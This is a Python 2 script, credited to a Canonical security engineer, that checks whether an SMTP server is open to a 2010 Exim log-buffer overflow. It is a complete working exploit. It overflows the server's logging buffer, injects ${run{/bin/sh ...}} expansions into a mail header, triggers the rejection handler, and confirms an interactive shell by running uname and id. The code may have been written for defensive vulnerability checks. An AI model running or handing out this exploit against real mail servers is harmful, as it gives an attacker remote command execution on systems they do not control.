#!/usr/bin/env python # Copyright 2010, Canonical, Ltd. # Author: Kees Cook # License: GPLv2 import socket, sys HOST = sys.argv[1] PORT = 25 try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) except socket.error, msg: sys.stderr.write("[ERROR] %s\n" % msg[1]) sys.exit(1) try: sock.settimeout(10) sock.connect((HOST, PORT)) except socket.error, msg: sys.stderr.write("[ERROR] %s\n" % msg[1]) sys.exit(2) def want(value, cmd=None): if cmd != None: sys.stdout.write("%s\n" % (cmd)) sock.send("%s\n" % (cmd)) data = sock.recv(1024) sys.stdout.write(data) final = data.splitlines().pop() if not final.startswith('%d ' % (value)): sys.stdout.write("*** Got '%s', wanted '%d' ***\n" % (final, value)) sys.exit(5) return data mail_from = '' rcpt_to = '' helo = 'example.com' want(220) data = want(250, "EHLO %s" % (helo)) ident = data.splitlines()[0].split() # Extract DNS details from helo response sending_host = '%s (%s) %s' % (ident[2], helo, ident[3]) want(250, "MAIL FROM:%s" % (mail_from)) want(250, "RCPT TO:%s" % (rcpt_to)) want(354, "DATA") # want to fill up to LOG_BUFFER_SIZE - 3 (%c %s) == 8192 - 3 == 8189 # and minus the logging header... target = 8189 sent = len('''2010-12-10 11:48:15 1PR8wt-00063W-Sb rejected from %s H=%s: message too big: read=72108293 max=52428800 Envelope-from: %s Envelope-to: %s ''' % (mail_from, sending_host, mail_from, rcpt_to)) send = target - sent count = 0 padding = 3 # because of logging's " " prefix and "\n" suffix taunt = 'M4iLB0mb' header = 'MAILbombhdr%04d: ' chunksize = len(header) + 120 amount = send while amount > chunksize: prev = amount amount /= 2 chunksize = prev chunksize = 100 #print "Chunk size: %d" % (chunksize) #print "hit enter to continue" #sys.stdin.readline() while send > 0: count += 1 #print "At position %d (%d to go)" % (sent, send) data = header % (count) perline = chunksize - padding data += taunt * chunksize # Down-regulate togo = send - padding if togo > perline: togo = perline # Fill hole for easier forward calculations left = sent % 100 if left != 0: left = 100 - left if left < len(header) + (padding * 2): left += 100 togo = left - padding data = data[0:togo] sock.send('%s\n' % (data)) send -= len(data) + padding sent += len(data) + padding #print "(header %d) Wrote %d, consumed %d, at position %d (%d to go)" % (count, len(data), len(data) + padding, sent, send) # This header will expand past the logging buffer sys.stdout.write("Sending exploit header\n") sock.send('HeaderX: ') for j in range(50): for i in range(3, 13): sock.send("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}}" % i) sock.send("\n"); # Now trigger the "message too large" handler sys.stdout.write("Sending body to trigger reject\n") sock.send("\n"); for i in range(700000): sock.send(taunt * 10 + "\n") sock.send(".\n") want(552) sock.settimeout(1) trigger = "MAIL FROM:%s\n" % (mail_from) sys.stdout.write(trigger) sock.send(trigger) final = "" shell = False hit = False while True: try: data = sock.recv(1024) except: break sys.stdout.write(data) sys.stdout.flush() final += data if '/bin/sh' in final: shell = True if shell and not hit: sock.send("uname -a\n") sock.send("id\n") hit = True sock.close() if shell: print "\nSystem is vulnerable" sys.exit(1) print "\nSystem appears safe" sys.exit(0)